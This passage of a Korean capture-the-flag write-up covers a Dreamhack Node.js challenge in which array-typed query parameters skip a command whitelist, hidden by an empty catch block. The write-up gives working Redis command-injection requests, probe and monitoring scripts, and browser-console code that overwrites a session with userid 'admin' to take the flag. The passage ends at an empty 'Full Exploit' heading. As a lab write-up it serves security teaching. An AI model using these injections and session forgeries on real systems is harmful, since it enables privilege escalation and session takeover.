์›์ธ์€ node_redis ์ชฝ์ด์—ˆ๋‹ค. send_command(command, args, callback) ์€ args ๊ฐ€ ๋ฐฐ์—ด์ด ์•„๋‹ˆ๋ฉด TypeError ๋ฅผ ๋˜์ง„๋‹ค. ์œ„ ์ฟผ๋ฆฌ๋Š” log_query[1] ์„ ๋ฌธ์ž์—ด '*' ๋กœ ๋งŒ๋“ค๊ธฐ ๋•Œ๋ฌธ์— ๊ฑธ๋ฆฐ๋‹ค. ์ธ์ž ์ž๋ฆฌ๋„ ๋ฐฐ์—ด์ด์–ด์•ผ ํ•œ๋‹ค.

curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*"

log_query[1][0] ์ฒ˜๋Ÿผ ํ•œ ๊ฒน ๋” ๋„ฃ์œผ๋ฉด ['keys', ['*']] ๊ฐ€ ๋˜๊ณ , ๊ทธ์ œ์„œ์•ผ ํ†ต๊ณผํ•œ๋‹ค. ์•„๋ž˜ ยงํ•ต์‹ฌ์˜ 3๋ฒˆ ์„น์…˜ [C] ์ผ€์ด์Šค๊ฐ€ ์ด ์‹คํŒจ๋ฅผ ๊ทธ๋Œ€๋กœ ์žฌํ˜„ํ•œ ๊ฒƒ์ด๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๋นˆ catch ๊ฐ€ ์ •๊ทœํ™” ์„ธ ์ค„์„ ํ†ต์งธ๋กœ ์‚ผํ‚จ๋‹ค

๋‹ค์‹œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋ณด์ž. ์ •๊ทœํ™”๋Š” try ๋ธ”๋ก ์•ˆ์— ์žˆ๊ณ , ๊ทธ catch ๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

} catch (err) {
    // Todo
    // Error(403);
}

Error(403) ์„ ์ฃผ์„ ์ฒ˜๋ฆฌํ•ด ๋’€๋‹ค. ์ฆ‰ ์˜ˆ์™ธ๊ฐ€ ๋‚˜๋ฉด ์•„๋ฌด ์ผ๋„ ์ผ์–ด๋‚˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์˜ˆ์™ธ๊ฐ€ ๋‚˜๋Š” ์ง€์ ์€ ์ •๊ทœํ™”์˜ ์ฒซ ์ค„, log_query.split('/') ์ด๋‹ค.

express ์˜ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๋Š” qs ๋ผ์„œ ?a[0]=x&a[1]=y ๋ฅผ ๋ฐฐ์—ด๋กœ ๋งŒ๋“ค์–ด ์ค€๋‹ค. ๋ฐฐ์—ด์—๋Š” split ์ด ์—†๋‹ค. ๊ทธ๋Ÿฌ๋ฉด:

  1. log_query.split('/') โ†’ TypeError
  2. catch ๊ฐ€ ์‚ผํ‚จ๋‹ค (์•„๋ฌด๊ฒƒ๋„ ์•ˆ ํ•จ)
  3. log_query[0] = 'get' ๋„, log_query[1] = slice(1) ๋„ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค
  4. log_query ๋Š” ๋‚ด๊ฐ€ ๋ณด๋‚ธ ๋ฐฐ์—ด ๊ทธ๋Œ€๋กœ ๋‚จ์•„์„œ send_command ๋กœ ํ˜๋Ÿฌ๊ฐ„๋‹ค

ํ•ต์‹ฌ์€ 3๋ฒˆ์ด๋‹ค. ํ—ˆ์šฉ๋ชฉ๋ก์ด "ํ‹€๋ ธ๋‹ค"๊ธฐ๋ณด๋‹ค ์‹คํ–‰ ์ž์ฒด๊ฐ€ ์•ˆ ๋œ๋‹ค. ์˜ˆ์™ธ๋ฅผ ์‚ผํ‚ค๋Š” catch ํ•˜๋‚˜๊ฐ€ ๊ฒ€์ฆ ์ฝ”๋“œ๋ฅผ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ฐ๊ฒŒ ๋งŒ๋“  ๊ฒƒ์ด๋‹ค.

์ด๊ฑธ ๋ฐฐํฌ๋ณธ๊ณผ ๊ฐ™์€ ๋ฒ„์ „์œผ๋กœ ์ง์ ‘ ํ™•์ธํ•ด ๋ณด์ž. ๋ฌธ์ œ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ qs ํŒŒ์‹ฑ โ†’ .split โ†’ send_command ํƒ€์ž… ๊ฒ€์‚ฌ๊นŒ์ง€ ์„ธ ๋‹จ๊ณ„๋ฅผ ๊ทธ๋Œ€๋กœ ์žฌํ˜„ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค.

// qs_probe.js โ€” /show_logs ์˜ ๋ช…๋ น์–ด ์ •๊ทœํ™”๊ฐ€ ์™œ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ฐ์–ด์ง€๋Š”์ง€ ์„ธ ๋‹จ๊ณ„๋กœ ํ™•์ธํ•œ๋‹ค.
const qs = require('qs');
const redis = require('redis');
 
const CASES = [
  ['A', '๋ฌธ์ž์—ด (๋ฌธ์ œ๊ฐ€ ์•ˆ๋‚ดํ•œ ์‚ฌ์šฉ๋ฒ•)', 'log_query=get/log_info'],
  ['B', '๋ฐฐ์—ด + ์ค‘์ฒฉ๋ฐฐ์—ด',              'log_query[0]=keys&log_query[1][0]=*'],
  ['C', '๋ฐฐ์—ด + ๋ฌธ์ž์—ด',                'log_query[0]=keys&log_query[1]=*'],
];
 
// main.js ์˜ /show_logs ํ•ธ๋“ค๋Ÿฌ ์•ž๋ถ€๋ถ„์„ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ธด ๊ฒƒ
function normalize(log_query) {
  try {
    log_query = log_query.split('/');
    if (log_query[0].toLowerCase() != 'get') log_query[0] = 'get';
    log_query[1] = log_query.slice(1);
    return { log_query, caught: null };
  } catch (err) {
    return { log_query, caught: err };            // ์›๋ฌธ์˜ catch ๋ธ”๋ก์€ ๋น„์–ด ์žˆ๋‹ค
  }
}
 
console.log('== 1. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌํŒŒ์„œ(qs)๊ฐ€ ๋งŒ๋“œ๋Š” ๊ฐ’ ==');
for (const [id, desc, q] of CASES) {
  const v = qs.parse(q).log_query;
  console.log(`[${id}] ${q}`);
  console.log(`     ${desc}`);
  console.log(`     -> ${Array.isArray(v) ? 'Array' : typeof v}  ${JSON.stringify(v)}`);
}
 
console.log('\n== 2. ๊ทธ ๊ฐ’์— .split("/") ๋ฅผ ๊ฑธ์—ˆ์„ ๋•Œ ==');
for (const [id, , q] of CASES) {
  const { log_query, caught } = normalize(qs.parse(q).log_query);
  console.log(`[${id}] ${caught ? caught.constructor.name + ': ' + caught.message : '์ •๊ทœํ™” ํ†ต๊ณผ (์ฒซ ํ† ํฐ์ด get ์œผ๋กœ ๊ณ ์ •๋จ)'}`);
  console.log(`     cmd=${JSON.stringify(log_query[0])}  args=${JSON.stringify(log_query[1])}`);
}
 
console.log('\n== 3. redis_client.send_command(cmd, args) ์˜ ์ธ์ž ํƒ€์ž… ๊ฒ€์‚ฌ ==');
const client = redis.createClient();
client.on('error', () => {});     // ์ด ์ปจํ…Œ์ด๋„ˆ์—” redis ์„œ๋ฒ„๊ฐ€ ์—†๋‹ค. ํƒ€์ž… ๊ฒ€์‚ฌ๋งŒ ๋ณธ๋‹ค
for (const [id, , q] of CASES) {
  const { log_query } = normalize(qs.parse(q).log_query);
  try {
    client.send_command(log_query[0], log_query[1], () => {});
    console.log(`[${id}] ์ „์†ก๋จ -> ${String(log_query[0]).toUpperCase()} ${JSON.stringify(log_query[1])}`);
  } catch (err) {
    console.log(`[${id}] ${err.constructor.name}: ${err.message.split('\n')[0]}`);
  }
}
process.exit(0);
docker run --rm -v "$PWD/qs_probe.js:/app/qs_probe.js:ro" node-api-local node /app/qs_probe.js
qs_probe.js ์‹คํ–‰ ๊ฒฐ๊ณผ. ๋ฐฐ์—ด ์ฟผ๋ฆฌ๋Š” Array ๋กœ ํŒŒ์‹ฑ๋˜๊ณ , ๊ฑฐ๊ธฐ์— split ์„ ๊ฑธ๋ฉด TypeError: log_query.split is not a function ์ด ๋‚˜๋ฉฐ cmd ๊ฐ€ keys ๋กœ ๋‚จ๋Š”๋‹ค. ์ธ์ž๊นŒ์ง€ ๋ฐฐ์—ด์ธ B ๋งŒ KEYS ๋กœ ์ „์†ก๋œ๋‹ค
qs_probe.js ์‹คํ–‰ ๊ฒฐ๊ณผ. ๋ฐฐ์—ด ์ฟผ๋ฆฌ๋Š” Array ๋กœ ํŒŒ์‹ฑ๋˜๊ณ , ๊ฑฐ๊ธฐ์— split ์„ ๊ฑธ๋ฉด TypeError: log_query.split is not a function ์ด ๋‚˜๋ฉฐ cmd ๊ฐ€ keys ๋กœ ๋‚จ๋Š”๋‹ค. ์ธ์ž๊นŒ์ง€ ๋ฐฐ์—ด์ธ B ๋งŒ KEYS ๋กœ ์ „์†ก๋œ๋‹ค

์„ธ ๋‹จ๊ณ„๊ฐ€ ํ•œ ํ™”๋ฉด์— ๋‹ค ๋‚˜์™”๋‹ค.

  • 1๋‹จ๊ณ„ โ€” log_query[0]=keys&log_query[1][0]=* ๋Š” ["keys",["*"]] ๋ผ๋Š” ์ค‘์ฒฉ ๋ฐฐ์—ด์ด ๋œ๋‹ค.
  • 2๋‹จ๊ณ„ โ€” ๋ฐฐ์—ด์— .split ์„ ๊ฑธ๋ฉด TypeError: log_query.split is not a function. ์˜ˆ์™ธ๊ฐ€ ๋‚˜๋„ cmd ๋Š” "keys" ๋กœ ๋‚จ์•„ ์žˆ๋‹ค. ์ •๊ทœํ™”๊ฐ€ ์•ˆ ๋ˆ ๊ฒƒ์ด๋‹ค.
  • 3๋‹จ๊ณ„ โ€” send_command ๋Š” ์ธ์ž๊ฐ€ ๋ฐฐ์—ด์ผ ๋•Œ๋งŒ ๋ฐ›๋Š”๋‹ค. [B] ๋Š” KEYS ["*"] ๋กœ ์ „์†ก๋˜๊ณ , ์ธ์ž๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ค€ [C] ๋Š” Wrong input type "String" for args ๋กœ ๊ฑฐ๋ถ€๋œ๋‹ค.

์‚ฝ์งˆ 3์—์„œ ๋ง‰ํ˜”๋˜ ์ง€์ ์ด [C] ๋‹ค. ๋ช…๋ น ์ด๋ฆ„์€ ํ†ต๊ณผํ–ˆ๋Š”๋ฐ ์ธ์ž ํƒ€์ž…์—์„œ ๊ฑธ๋ ธ๋˜ ๊ฒƒ.

์ •๋ฆฌํ•˜๋ฉด ๊ฐˆ๋ฆผ๊ธธ์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

node_api ๊ณต๊ฒฉ ์ฒด์ธ ๋‹ค์ด์–ด๊ทธ๋žจ. ์™ผ์ชฝ์€ ๋ฌธ์ž์—ด ์ฟผ๋ฆฌ๊ฐ€ split ์„ ํ†ต๊ณผํ•ด ์ฒซ ํ† ํฐ์ด get ์œผ๋กœ ๊ณ ์ •๋˜๋Š” ์ •์ƒ ๊ฒฝ๋กœ, ์˜ค๋ฅธ์ชฝ์€ ๋ฐฐ์—ด ์ฟผ๋ฆฌ๊ฐ€ TypeError ๋ฅผ ๋‚ด๊ณ  ๋นˆ catch ์— ์‚ผ์ผœ์ ธ ์ž„์˜ Redis ๋ช…๋ น์œผ๋กœ ์ด์–ด์ง€๋Š” ๊ณต๊ฒฉ ๊ฒฝ๋กœ
node_api ๊ณต๊ฒฉ ์ฒด์ธ ๋‹ค์ด์–ด๊ทธ๋žจ. ์™ผ์ชฝ์€ ๋ฌธ์ž์—ด ์ฟผ๋ฆฌ๊ฐ€ split ์„ ํ†ต๊ณผํ•ด ์ฒซ ํ† ํฐ์ด get ์œผ๋กœ ๊ณ ์ •๋˜๋Š” ์ •์ƒ ๊ฒฝ๋กœ, ์˜ค๋ฅธ์ชฝ์€ ๋ฐฐ์—ด ์ฟผ๋ฆฌ๊ฐ€ TypeError ๋ฅผ ๋‚ด๊ณ  ๋นˆ catch ์— ์‚ผ์ผœ์ ธ ์ž„์˜ Redis ๋ช…๋ น์œผ๋กœ ์ด์–ด์ง€๋Š” ๊ณต๊ฒฉ ๊ฒฝ๋กœ

๋ง๋กœ๋งŒ ํ•˜๋ฉด ๋ฏธ๋ฅ์ง€ ์•Š์œผ๋‹ˆ Redis ์— ์‹ค์ œ๋กœ ๋„๋‹ฌํ•œ ๋ช…๋ น์„ ๋ด์•ผ ํ•œ๋‹ค. ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์—์„œ redis-cli monitor ๋ฅผ ์š”์ฒญ๋งˆ๋‹ค 3์ดˆ์”ฉ ์—ด์–ด ๋‘๊ณ  ๋„ค ๊ฐ€์ง€ ์š”์ฒญ์„ ํ˜๋ ค๋ณด๋‚ด๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค.

#!/usr/bin/env bash
# monitor_demo.sh โ€” Redis ์— ์‹ค์ œ๋กœ ์–ด๋–ค ๋ช…๋ น์ด ๋„๋‹ฌํ•˜๋Š”์ง€ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์—์„œ ๊ด€์ฐฐํ•œ๋‹ค.
# ์š”์ฒญ ํ•œ ๊ฑด๋งˆ๋‹ค redis-cli monitor ๋ฅผ 3์ดˆ์”ฉ ์—ด๊ณ , ๊ทธ ์ฐฝ์— ์ฐํžŒ ๋ช…๋ น๋งŒ ๋ผ๋ฒจ๊ณผ ํ•จ๊ป˜ ๋ณด์—ฌ์ค€๋‹ค.
# ์ฟ ํ‚ค๋ฅผ ์žฌ์‚ฌ์šฉํ•ด์•ผ(-b/-c) ๋งค ์š”์ฒญ๋งˆ๋‹ค ์ƒˆ ์„ธ์…˜์ด ์ €์žฅ๋˜๋Š” ์žก์Œ์ด ์•ˆ ์„ž์ธ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
B=http://127.0.0.1:18000
JAR=$(mktemp)
trap 'rm -f "$JAR"' EXIT
 
curl -s -o /dev/null -c "$JAR" "$B/"          # ์„ธ์…˜ ํ•œ ๋ฒˆ ๋งŒ๋“ค์–ด ๋‘๊ณ  ์‹œ์ž‘
 
run() {   # $1=๋ผ๋ฒจ  $2=์ฟผ๋ฆฌ์ŠคํŠธ๋ง
  docker exec -d node-api-local sh -c 'timeout 3 redis-cli monitor > /tmp/mon.log 2>&1'
  sleep 0.7
  curl -s -o /dev/null -g -b "$JAR" -c "$JAR" "$B/show_logs?$2"
  sleep 2.6
  printf '%s\n  GET /show_logs?%s\n' "$1" "$2"
  docker exec node-api-local sh -c 'grep -E "\"(get|del|keys|set)\"" /tmp/mon.log || true' \
    | sed 's/^[0-9.]* \[0 [^]]*\] /  -> /'
  echo
}
 
run '[A] ์•ˆ๋‚ด๋œ ์‚ฌ์šฉ๋ฒ•'                      'log_query=get/log_info'
run '[B] del ์„ ๋ณด๋‚ด๋„ ์ฒซ ํ† ํฐ์ด get ์œผ๋กœ ๋ฐ”๋€๋‹ค' 'log_query=del/log_info'
run '[C] ๋ฐฐ์—ด๋กœ ๋ณด๋‚ด๋ฉด ์ •๊ทœํ™”๊ฐ€ ํ†ต์งธ๋กœ ์ƒ๋žต๋œ๋‹ค'  'log_query[0]=keys&log_query[1][0]=*'
run '[D] ์„ธ์…˜ ์ €์žฅ์†Œ๋ฅผ ์ง์ ‘ ๋ฎ์–ด์“ด๋‹ค'            'log_query[0]=set&log_query[1][0]=sess:demo&log_query[1][1]=%7B%22userid%22%3A%22admin%22%7D'
./monitor_demo.sh
monitor_demo.sh ์‹คํ–‰ ๊ฒฐ๊ณผ. redis-cli monitor ๊ฐ€ ์žก์€ ๋ช…๋ น์„ ๋ณด๋ฉด del ์„ ๋ณด๋‚ธ B ๋„ get log_info ๋กœ ์ฐํžˆ๊ณ , ๋ฐฐ์—ด๋กœ ๋ณด๋‚ธ C ์™€ D ๋Š” keys * ์™€ set sess:demo ๊ฐ€ ๊ทธ๋Œ€๋กœ Redis ์— ๋„๋‹ฌํ–ˆ๋‹ค
monitor_demo.sh ์‹คํ–‰ ๊ฒฐ๊ณผ. redis-cli monitor ๊ฐ€ ์žก์€ ๋ช…๋ น์„ ๋ณด๋ฉด del ์„ ๋ณด๋‚ธ B ๋„ get log_info ๋กœ ์ฐํžˆ๊ณ , ๋ฐฐ์—ด๋กœ ๋ณด๋‚ธ C ์™€ D ๋Š” keys * ์™€ set sess:demo ๊ฐ€ ๊ทธ๋Œ€๋กœ Redis ์— ๋„๋‹ฌํ–ˆ๋‹ค

์ฝ์„ ๊ฒŒ ๋‘ ๊ฐ€์ง€๋‹ค.

์ฒซ์งธ, ๋ฌถ์Œ๋งˆ๋‹ค ๋งจ ์•ž์— "get" "sess:dJgFXtIhaLI6QFxoeMpCURKBUandl1uX" ๊ฐ€ ์ฐํ˜€ ์žˆ๋‹ค. express-session ์ด ๋งค ์š”์ฒญ๋งˆ๋‹ค ๋‚ด ์„ธ์…˜์„ ์ฝ๋Š” ํ”์ ์ด๋‹ค. ์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ๋ช…๋ น์„ ์˜๋Š” ๊ทธ Redis ๋ผ๋Š” ๊ฑธ ์ด๋ณด๋‹ค ์ง์ ‘์ ์œผ๋กœ ๋ณด์—ฌ์ฃผ๋Š” ์ฆ๊ฑฐ๋Š” ์—†๋‹ค.

๋‘˜์งธ, [A] ์™€ [B] ๋Š” ๋˜‘๊ฐ™์ด "get" "log_info" ๋‹ค. del ์„ ๋ณด๋ƒˆ๋Š”๋ฐ get ์ด ๊ฐ”๋‹ค. ๋ฐ˜๋ฉด [C] ๋Š” "keys" "*" ๊ฐ€, [D] ๋Š” "set" "sess:demo" "{\"userid\":\"admin\"}" ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋„๋‹ฌํ–ˆ๋‹ค. ๋ฐฐ์—ด๋กœ ๋ณด๋‚ธ ์ˆœ๊ฐ„ ํ—ˆ์šฉ๋ชฉ๋ก์ด ์‚ฌ๋ผ์ง„๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ๋‚ด ์„ธ์…˜์˜ ๊ฐ’๋งŒ ๋ฐ”๊พผ๋‹ค

์ž„์˜ ๋ช…๋ น์ด ์—ด๋ ธ์œผ๋‹ˆ ๋จผ์ € ์ €์žฅ์†Œ๋ฅผ ๋“ค์—ฌ๋‹ค๋ณธ๋‹ค.

http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*
๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ KEYS * ๋ฅผ ์ฃผ์ž…ํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=keys&log_query[1][0]=* ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ณด์ด๊ณ , ์‘๋‹ต JSON ๋ฐฐ์—ด์— sess: ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์„ธ์…˜ ํ‚ค ์„ธ ๊ฐœ์™€ log_info, log_1785993190306 ๊ฐ™์€ ๋กœ๊ทธ ํ‚ค๊ฐ€ ํ•จ๊ป˜ ๋‚˜์—ด๋ผ ์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ๋…ธ์ถœ๋๋‹ค
๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ KEYS * ๋ฅผ ์ฃผ์ž…ํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=keys&log_query[1][0]=* ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ณด์ด๊ณ , ์‘๋‹ต JSON ๋ฐฐ์—ด์— sess: ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์„ธ์…˜ ํ‚ค ์„ธ ๊ฐœ์™€ log_info, log_1785993190306 ๊ฐ™์€ ๋กœ๊ทธ ํ‚ค๊ฐ€ ํ•จ๊ป˜ ๋‚˜์—ด๋ผ ์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ๋…ธ์ถœ๋๋‹ค

sess: ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๋“ค์ด ์„ธ์…˜์ด๋‹ค. log_info ์™€ log_<ํƒ€์ž„์Šคํƒฌํ”„> ๋Š” /login ์ด ๋‚จ๊ธฐ๋Š” ๋กœ๊ทธ. ์ €์žฅ์†Œ๊ฐ€ ํ†ต์งธ๋กœ ๋ณด์ธ๋‹ค.

์ด์ œ ๋‚ด ์„ธ์…˜์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค. ์—ฌ๋Ÿฌ ๊ฐœ ์ค‘ ์–ด๋А ๊ฒƒ์ด ๋‚ด ๊ฒƒ์ธ์ง€๋Š”, ์•ž์—์„œ ADMIN ์œผ๋กœ ๋กœ๊ทธ์ธํ•ด ๋‘” ๊ฑธ ์ด์šฉํ•˜๋ฉด ๋ฐ”๋กœ ๊ฐˆ๋ฆฐ๋‹ค โ€” ๊ฐ’ ์•ˆ์— "userid":"ADMIN" ์ด ์žˆ๋Š” ๊ฒŒ ๋‚ด ๊ฒƒ์ด๋‹ค.

// ๋ธŒ๋ผ์šฐ์ € ์ฝ˜์†”์—์„œ: ์„ธ์…˜ ํ‚ค ๋ชฉ๋ก์„ ๋ฐ›์•„ ๋‚ด ๊ฒƒ(ADMIN)์„ ์ฐพ์•„ ๊ทธ ๊ฐ’์„ ๋ณด์—ฌ ์ค€๋‹ค
const g = (k) => '/show_logs?log_query[0]=get&log_query[1][0]=' + encodeURIComponent(k);
fetch('/show_logs?log_query[0]=keys&log_query[1][0]=' + encodeURIComponent('sess:*'))
  .then(r => r.json())
  .then(async (keys) => {
    for (const k of keys) {
      const v = await fetch(g(k)).then(r => r.text());
      if (v.includes('"userid":"ADMIN"')) { location.href = g(k); return; }
    }
  });
์ฃผ์ž…ํ•œ GET ์œผ๋กœ ๋‚ด ์„ธ์…˜ ๊ฐ’์„ ์ฝ์–ด ์˜จ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=get ๊ณผ sess%3A ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์„ธ์…˜ ํ‚ค๊ฐ€ ๋ณด์ด๊ณ , ๋ณธ๋ฌธ์—๋Š” cookie ๊ฐ์ฒด์™€ userid ADMIN ์ด ๋‹ด๊ธด JSON ์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋ผ ์„ธ์…˜ ๋ฐ์ดํ„ฐ๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋ผ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค
์ฃผ์ž…ํ•œ GET ์œผ๋กœ ๋‚ด ์„ธ์…˜ ๊ฐ’์„ ์ฝ์–ด ์˜จ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=get ๊ณผ sess%3A ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์„ธ์…˜ ํ‚ค๊ฐ€ ๋ณด์ด๊ณ , ๋ณธ๋ฌธ์—๋Š” cookie ๊ฐ์ฒด์™€ userid ADMIN ์ด ๋‹ด๊ธด JSON ์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋ผ ์„ธ์…˜ ๋ฐ์ดํ„ฐ๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋ผ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"ADMIN"}

์•”ํ˜ธํ™”๋„ ์—†๊ณ  ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋„ ์—†๋‹ค. ๊ทธ๋ƒฅ JSON ๋ฌธ์ž์—ด์ด๋‹ค. userid ๋งŒ ์†Œ๋ฌธ์ž๋กœ ๋ฐ”๊ฟ” SET ํ•˜๋ฉด ๋์ด๋‹ค.

์—ฌ๊ธฐ์„œ ํ•œ ๊ฐ€์ง€ ๋†“์น˜๋ฉด ์•ˆ ๋˜๋Š” ๊ฒŒ ์žˆ๋‹ค. cookie ํ•„๋“œ๋ฅผ ๋นผ๋ฉด ์•ˆ ๋œ๋‹ค. express-session ์€ store ์—์„œ ์„ธ์…˜์„ ์ฝ์€ ๋’ค Store.prototype.createSession ์—์„œ sess.cookie.expires ๋ฅผ ๋จผ์ € ์ฝ๋Š”๋ฐ, cookie ๊ฐ€ ์—†์œผ๋ฉด ๊ฑฐ๊ธฐ์„œ TypeError ๊ฐ€ ๋‚˜๋ฉด์„œ ์š”์ฒญ์ด 500 ์œผ๋กœ ์ฃฝ๋Š”๋‹ค. ์œ„์กฐ ๊ฐ’์— cookie ๊ฐ์ฒด๋ฅผ ๊ทธ๋Œ€๋กœ ์‹ค์–ด ์ฃผ๋Š” ์ด์œ ๋‹ค.

// ์ง€๊ธˆ ์ฃผ์†Œ์ฐฝ์— ์žˆ๋Š” ๊ทธ ํ‚ค๋ฅผ userid:admin ์œผ๋กœ ๋ฎ์–ด์“ด๋‹ค
const key = new URLSearchParams(location.search).get('log_query[1][0]');
const sess = {cookie: {originalMaxAge: null, expires: null, httpOnly: true, path: '/'},
              userid: 'admin'};
location.href = '/show_logs?log_query[0]=set'
  + '&log_query[1][0]=' + encodeURIComponent(key)
  + '&log_query[1][1]=' + encodeURIComponent(JSON.stringify(sess));
์„ธ์…˜ ๊ฐ’์„ SET ์œผ๋กœ ๋ฎ์–ด์“ด ์งํ›„์˜ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=set ๊ณผ sess%3A ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๊ฐ€ ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” Redis ๊ฐ€ ๋Œ๋ ค์ค€ OK ํ•œ ์ค„๋งŒ ์ถœ๋ ฅ๋ผ ์“ฐ๊ธฐ๊ฐ€ ์„ฑ๊ณตํ–ˆ์Œ์„ ์•Œ๋ ค์ค€๋‹ค
์„ธ์…˜ ๊ฐ’์„ SET ์œผ๋กœ ๋ฎ์–ด์“ด ์งํ›„์˜ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— log_query[0]=set ๊ณผ sess%3A ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๊ฐ€ ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” Redis ๊ฐ€ ๋Œ๋ ค์ค€ OK ํ•œ ์ค„๋งŒ ์ถœ๋ ฅ๋ผ ์“ฐ๊ธฐ๊ฐ€ ์„ฑ๊ณตํ–ˆ์Œ์„ ์•Œ๋ ค์ค€๋‹ค

OK. Redis ๊ฐ€ ๊ฐ’์„ ๋ฐ›์•˜๋‹ค๋Š” ๋œป์ด๋‹ค. ์ฟ ํ‚ค๋Š” ์ฒ˜์Œ ๋ฐ›์€ ๊ทธ๋Œ€๋กœ ๋‘๊ณ  /flag ๋กœ ๊ฐ„๋‹ค.

http://host3.dreamhack.games:13788/flag
flag ์—”๋“œํฌ์ธํŠธ์—์„œ ์‹ค์ œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ host3.dreamhack.games:13788/flag ์ด๊ณ  ๋ณธ๋ฌธ์— DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ c5adc4033f8b685d84d56423082f21ac ๊ฐ€ ์ถœ๋ ฅ๋ผ, ์„ธ์…˜ ์ €์žฅ์†Œ๋ฅผ ๋ฎ์–ด์“ด ๊ฒƒ๋งŒ์œผ๋กœ ๊ด€๋ฆฌ์ž ์กฐ๊ฑด์„ ํ†ต๊ณผํ–ˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค
flag ์—”๋“œํฌ์ธํŠธ์—์„œ ์‹ค์ œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ host3.dreamhack.games:13788/flag ์ด๊ณ  ๋ณธ๋ฌธ์— DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ c5adc4033f8b685d84d56423082f21ac ๊ฐ€ ์ถœ๋ ฅ๋ผ, ์„ธ์…˜ ์ €์žฅ์†Œ๋ฅผ ๋ฎ์–ด์“ด ๊ฒƒ๋งŒ์œผ๋กœ ๊ด€๋ฆฌ์ž ์กฐ๊ฑด์„ ํ†ต๊ณผํ–ˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค

์ฟ ํ‚ค ์„œ๋ช…์€ ๋‹จ ํ•œ ๋ฒˆ๋„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์•˜๋‹ค. ์„œ๋ฒ„๊ฐ€ ๋‚ด sid ๋กœ store ๋ฅผ ์ฝ์—ˆ๊ณ , ๊ทธ ์ž๋ฆฌ์— ์šฐ๋ฆฌ๊ฐ€ ์จ ๋‘” ๊ฐ’์ด ์žˆ์—ˆ์„ ๋ฟ์ด๋‹ค.


๐Ÿš€ Full Exploit

